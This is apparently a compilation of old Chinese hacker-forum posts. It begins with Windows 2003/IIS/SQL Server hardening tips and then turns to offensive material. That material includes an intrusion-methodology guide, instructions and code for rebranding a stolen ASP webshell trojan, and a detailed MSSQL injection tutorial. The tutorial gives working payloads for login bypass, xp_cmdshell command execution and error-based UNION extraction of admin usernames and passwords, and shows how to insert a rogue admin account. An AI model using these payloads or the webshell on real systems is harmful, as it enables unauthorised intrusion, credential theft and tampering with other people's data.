3) 防止ASP主页.inc文件泄露问题;
4) 防止UE等编辑器生成some.asp.bak文件泄露问题。


安全更新。
应用所需的所有 Service Pack 和 定期手动更新补丁。  

安装和配置防病毒保护。
推荐NAV 8.1以上版本病毒防火墙(配置为至少每周自动升级一次)。

安装和配置防火墙保护。
推荐最新版BlackICE Server Protection防火墙(配置简单,比较实用)

监视解决方案。
根据要求安装和配置 MOM代理或类似的监视解决方案。

加强数据备份。
Web数据定时做备份,保证在出现问题后可以恢复到最近的状态。

考虑实施 IPSec 筛选器。
用 IPSec 过滤器阻断端口
Internet 协议安全性 (IPSec) 过滤器可为增强服务器所需要的安全级别提供有效的方法。本指南推荐在指南中定义的高安全性环境中使用该选项,以便进一步减少服务器的受攻击面。
有关使用 IPSec 过滤器的详细信息,请参阅模块其他成员服务器强化过程。
下表列出在本指南定义的高级安全性环境下可在 IIS 服务器上创建的所有 IPSec 过滤器。

服务
协议
源端口
目标端口
源地址
目标地址
操作
镜像
Terminal Services
TCP
所有
3389
所有
ME
允许

HTTP Server
TCP
所有
80
所有
ME
允许

HTTPS Server
TCP
所有
443
所有
ME
允许

在实施上表所列举的规则时,应当对它们都进行镜像处理。这样可以确保任何进入服务器的网络通信也可以返回到源服务器。

SQL服务器安全加固

步骤
说明
MDAC 升级
安装最新的MDAC(_blank>http://www.microsoft.com/data/download.htm
密码策略
由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号。新建立一个拥有与sa一样权限的超级用户来管理数据库。同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:
Use master
Select name,Password from syslogins where password is null

数据库日志的记录
核数据库登录事件的"失败和成功",在实例属性中选择"安全性",将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。
管理扩展存储过程
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc ‘xp_cmdshell’
如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下(不需要可以全部去掉:
Sp_OACreate    Sp_OADestroy    Sp_OAGetErrorInfo    Sp_OAGetProperty
Sp_OAMethod    Sp_OASetProperty    Sp_OAStop
去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:
Xp_regaddmultistring      Xp_regdeletekey      Xp_regdeletevalue     Xp_regenumvalues
Xp_regread         Xp_regremovemultistring         Xp_regwrite
TCP/IP端口探测
在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。
请在上一步配置的基础上,更改原默认的1433端口。
IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server
对网络连接进行IP限制
使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,保证只有自己的IP能够访问,拒绝其他IP进行的端口连接。




附:Win2003系统建议禁用服务列表

名 称
服务名
建议设置
自动更新
wuauserv
禁用
Background Intelligent Transfer Service
BITS
禁用
Computer Browser
Browser
禁用

DHCP Client

Dhcp
禁用

NTLM Security Support Provider

NtLmSsp
禁用
Network Location Awareness
NLA
禁用

Performance Logs and Alerts

SysmonLog
禁用

Remote Administration Service

SrvcSurg
禁用

Remote Registry Service

RemoteRegistry
禁用

Server

lanmanserver
禁用

TCP/IP NetBIOS Helper Service

LmHosts
禁用

DHCP Client

Dhcp
禁用

NTLM Security Support Provider

NtLmSsp
禁用
Terminal Services
TermService
禁用

Windows Installer

MSIServer
禁用

Windows Management Instrumentation Driver Extensions

Wmi
禁用

WMI Performance Adapter

WMIApSrv
禁用
Error Reporting
ErrRep
禁用

2004年10月27日

只不过对以前的入侵思路作了一个小节,没有什么技术,只是希望对大家入侵时候的思路
有一点启发,我就十分高兴了~

一。升级你的漏洞数据库,将所有可利用漏洞扫描一遍,如果真的能有什么溢出漏洞,恭
喜你,你可以直接进去了。
     此方法利用条件:运气好,扫描器全面,对方网管是个白痴。

二。如果没有什么大的漏洞,那么打开端口扫描,那六万多的端口全部扫一遍,最好是得
到所有端口的banner,然后察看banner,看看管理员有没有修改端口,对于banner上有显
示服务版本号的,可以上google搜索有没有漏洞利用程序。有的话,恭喜你,你的运气还
是很好。
    此方法利用条件:运气好,会用google

三。如果开了80端口,方法一二都不成功的话:
   1,sql注入(现在流行的攻击方式)
      如果能得到管理员的web管理账号,只要找到后台就好办了。如果得不到后台或者账
号,可以 利用mssql的各种扩展存储过程或者backup a shell。权限高的话,直接加账号
也没有问题。
     此方法成立条件:熟悉asp,mssql,会找注入点。
   2,旁门左道(我不知道叫什么名字了)
      登陆http://whois.webhosting.info/进行域名反向查询,得到其他认得网页,寻
找注入点,攻入虚拟主机,从而间接攻击目标。
     此方法成立条件:对方是虚拟主机,或者对方机器有多个网站。
   3,社会工程学
      这一招器是在很多时候都有用,80端口开放的时候利用较多,所以就写到这里了。
由于此方法太过灵活,没有固定的方法,就不写了。
   4,域名欺骗(我不知道这个名字用在这里对不对,反正这个方法我很少看见人用)

      如果对方的网页实在找不到注入点,或者她根本就是静态的网页,那么就只有这种
方法了:攻入域名提供商的主机(其实不难),把她的域名转向到你的网页,而你的网页
指向它真正的主页,但是你的网页可以放入网页木马。这样只要她登陆自己的网页,就中
招了。
     此方法成功条件:具有一定的入侵经验,熟悉html。

四。如果对方没有漏洞,也没有80端口开放:
     这时,我是没有什么好办法的,我通常是:扫描相同的网段,利用方法一二三找到几
台机器攻入。然后放一个嗅探器,得到目标的账号密码之类的信息。
    此方法成立条件:运气好,对方网络是共享式网络(否则无法嗅探)。

五。实在不行的话,你就攻入他所在网段的路由或者网关等等。然后就看你的经验了(这
个我是不行的,不过据说前几天的tencent就是这样被黑客破坏的)

    以上几点,只不过是我的个人小节,如果大家还有更好的方法,希望也能写出来和大
家分享。

2004年10月23日

信息来源:岁月联盟

首先,windows脚本语言也是一种编程语言,也有自己专门的命令词汇、规范、用法。要只按照自己的要求把命令写进去,那么windows就会直接执行。只不过想对于java c++之类的编程语言它就要简单的多了
windos脚本也有不同的语言 如:VBScritp、JScript 它们都内嵌在windows中,不需要安装,可以直接使用 还有现在比较流行的Python 比较强大的Perl等
windows脚本的最大好处就是用记事本就可以编写,而且可以立即看到效果,还有就是因为其本身就是源代码,拿到就可以随意修改,对于学习来说也更方便
windows脚本宿主,称呼为WSH。它是一个windows管理工具,能给.VBS、.JC等脚本提供一个特殊的外部运行环境。也就是说,当我们运行VBS文件的时候 WHS会为之创建一个对象,平按脚本内的语言指令执行操作。

所有的编程软件的第一步都是教给新手们怎么写“Hello World!” 当然我们也不能脱俗了
WScript.Echo “Hello World!” WScript.Echo就是显示,也就是说让电脑为我们显示Hello World!当然了把要显示的句子包括在英文的引号中,要不电脑就会分不清哪些是你要显示的
现在我们提升以下刚刚的显示
如:
Dim xyzcsm ‘定义变量
xyzcsm = inputBox(“请输入你的名字:”) ‘获取用户名字
WScript.echo xyzcsm &”,你好!” ‘要输出的语句(假如显示为我爱你之内,然后打上女/男朋友的名字,不也是一个惊喜么?)

‘后面就是注释语句 在执行脚本的时候是不会显示的 之是能看得明白点。

当然我们多用到的可能是windows脚本读写注册表(反正我比较常用吧)
脚本主要是通过WSH的WshShell对象来读写注册表的。
比如我们注册表被IE恶意代码锁了怎么办 用VBS也可以
Dim xzzcsm
Set xyzcsm = WScript.CreateObject(“WScript.Shell”)
xyzcsm.Popup “为你解开注册表”
xyzcsm.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,0,”REG_DWORD”

加如改为1就是锁住注册表了。
在HTML中加如VBS
SCRIPT 元素用于将 VBScript 代码添加到 HTML 页面中。
  <SCRIPT> 标记
    VBScript 代码写在成对的 <SCRIPT> 标记之间。
微软有VBScript语言参考和WSH基础 大家也可以看看
现在防火墙将对创建了WScript.shell对象的脚本 进行阻拦。
网上有不少的VBS源代码有兴趣的朋友 可以多看看
PS:不要用VBS写病毒哦

有写地方可能写的模糊 请大家指出 我吃饭了 小M不加分 不许看~呵呵。

文章作者:枫三少
                               
  这段时间一直在家养病,人快疯了!回黑基随便逛逛。呵呵,发现一篇文章是ASP木马代码的。
看了看,突然想写点什么。也许是上面写的不完整吧。

第一步,修改密码:别人的马跟自己的区别第一个就是密码。
先把修改密码的地方找出来。代码如下:  

if Epass(trim(request.form(“password”)))=”qtjckgas3i” then
response.cookies(“password”)=”7758521″
response.redirect rseb & “?q=list.asp”
else %>

重点在(trim(request.form(“password”)))=”qtjckgas3i”有些人以为这就是前一个人的密码。
呵呵,生成一个ASP上传一试。怎样?不行吧。呵呵。密码是加密了的。

第二步,按自己的意愿美化网页。
有人喜欢白色,有人喜欢黑色。象我,我就喜欢网页里有音乐。所以把HTML代码嵌入ASP里。注意如果ASP学得不是很好的
建议最好放在最顶端这样对于整个程序的思路都很清晰,而且不会破坏ASP内部语法。代码可以为:

<bgsound src=”音乐的地址” loop=”播放的次数,-1为无限循环”>

颜色的修改。
如:COLOR: #000000; Color后面的参数就是颜色对应的参数。如果对参数不是很了解的,可以采用英语:Color:black;前面不加
“#”
当然了,美化可以根据自己的习惯来加,也可以加些特效脚本。不过我一般都只加音乐,多了就太花翘了,呵呵。

第三步,如何将原代码密码修改。
这步应该算第一步的补充吧,之所以放在后面单独说,因为他这里牵涉到一定的技术,也是本篇的精髓。”qtjckgas3i”这是被
加密过了的。是利用一个工具直接生成密码的。什么呢?呵呵,是段ASP代码。这里我给出源码希望大家能够学习一下。

<%
pass=”yourpsw”
temppass=StrReverse(left(pass&”zxcvbnm,./”,10))
templen=len(pass)
mmpassword=”"
for j=1 to 10
mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1))
next
Epass=replace(mmpassword,”‘”,”B”)
%>
<%=Epass%>

将上面的ASP代码COPY到记事本里,然后另存为asp的,传到ASP空间上。打开,呵呵,看到了什么?乱码?没错。这是利用ASP代码
直接导成WIN碎片格式的,假定我们想设置的密码是”hacker”就把他跟pass=”yourpsw”里的”yourpsw”替换,然后生成ASP上传下到
空间,打开,这时候现实的就是我们加密后的密码:q_uxqeledm 这时候把原木马的PSW-”qtjckgas3i”给替换成我们加密后的密码
这样一个个性的ASP木马就出来了。登陆ASP木马时使用没有加密的密码登陆!

大家可以看看这是我简单修改后的ASP木马.

PS:很多人问我这个ASP木马是怎么加密的,因为当时X档案拿去了,所以不能说,现在出刊了,就把它拿出来,希望还赶得上。:)

来源-::利客联盟::

首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
的参数。尽管如此,你仍可以通过查看HTML的源代码中的”FORM”标签来辨别是否有参数传递,相关的代码
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>与</FORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。

2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10

3.0你应该如何测试这些缺陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi’ or 1=1–
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://duck/index.asp?id=hi‘ or 1=1–
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp met

hod=post>
<input type=hidden name=A value=”hi’ or 1=1–”>
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是’ or 1=1–呢?
让我们来看看其他例子中使用’or 1=1–的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,’category’是一个变量名,而’food’是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于’v_cat’,也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory=’food’
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是’food’了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food‘ or 1=1–
现在我们的变量v_cat的值就等同于”food’ or 1=1–”了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–’
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于’food’。至于结尾
部分的那两条’–’(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个’(单引号)。有的时候也
可以使用’#'(井号)来代替’–’(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
‘ or ‘a’='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory=’food’ or ‘a’='a’
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or ‘a’='a
” or “a”=”a
‘) or (‘a’='a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–
若失败可以尝试一下使用”(双引号)代替’(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条

PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION
_SCHEMA.TABLES”
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数’10′之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
table1′ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (‘table1′)–
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM IN

FORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ‘%25login%25′–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
admin_login’ to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’–
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_id’ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
login_name’ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如”password”、”details”。当我们使用了下
面的请求后就可以得到(除了’login_id’,'login_name’,'password’,details’之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’,'password’
,details’)–
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问”admin_login”表的第一个用户名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
neo’ to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是”neo”。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’
neo’–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
m4trix’ to a column of data type int.
/index.asp, line 5
现在我们可以用”neo”与他的密码(“m4trix”)来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为”trinity”的密码,而它所对应
的密码为”31173″:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’
trinity’–
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码”31173″将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM
admin_login where login_name=’trinity’–
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中’+'等于0×2b)。我
们加入了一个(%20)空格与

morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串’31173′,它也会变成’31173 morpheus’。
在执行了convert()函数后,系统会尝试将’31173 morpheus’转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘
31173 morpheus’ to a column of data type int.
/index.asp, line 5
现在你可以知道’trinity’的密码是’31173′了吧。

7.0如何在数据库中更新/插入数据?
当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方,我们要修改帐号”neo”的密码:
http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_na
me=’neo’–
加入一条新的记录:
http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password
‘, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–
现在我们就可以以帐号”neo2″、密码”newpas5″登陆系统了。

8.0如何避免被SQL注入攻击?
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
-用户的输入
-提交的URL请求中的参数部分
-从cookie中得到的数据
至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask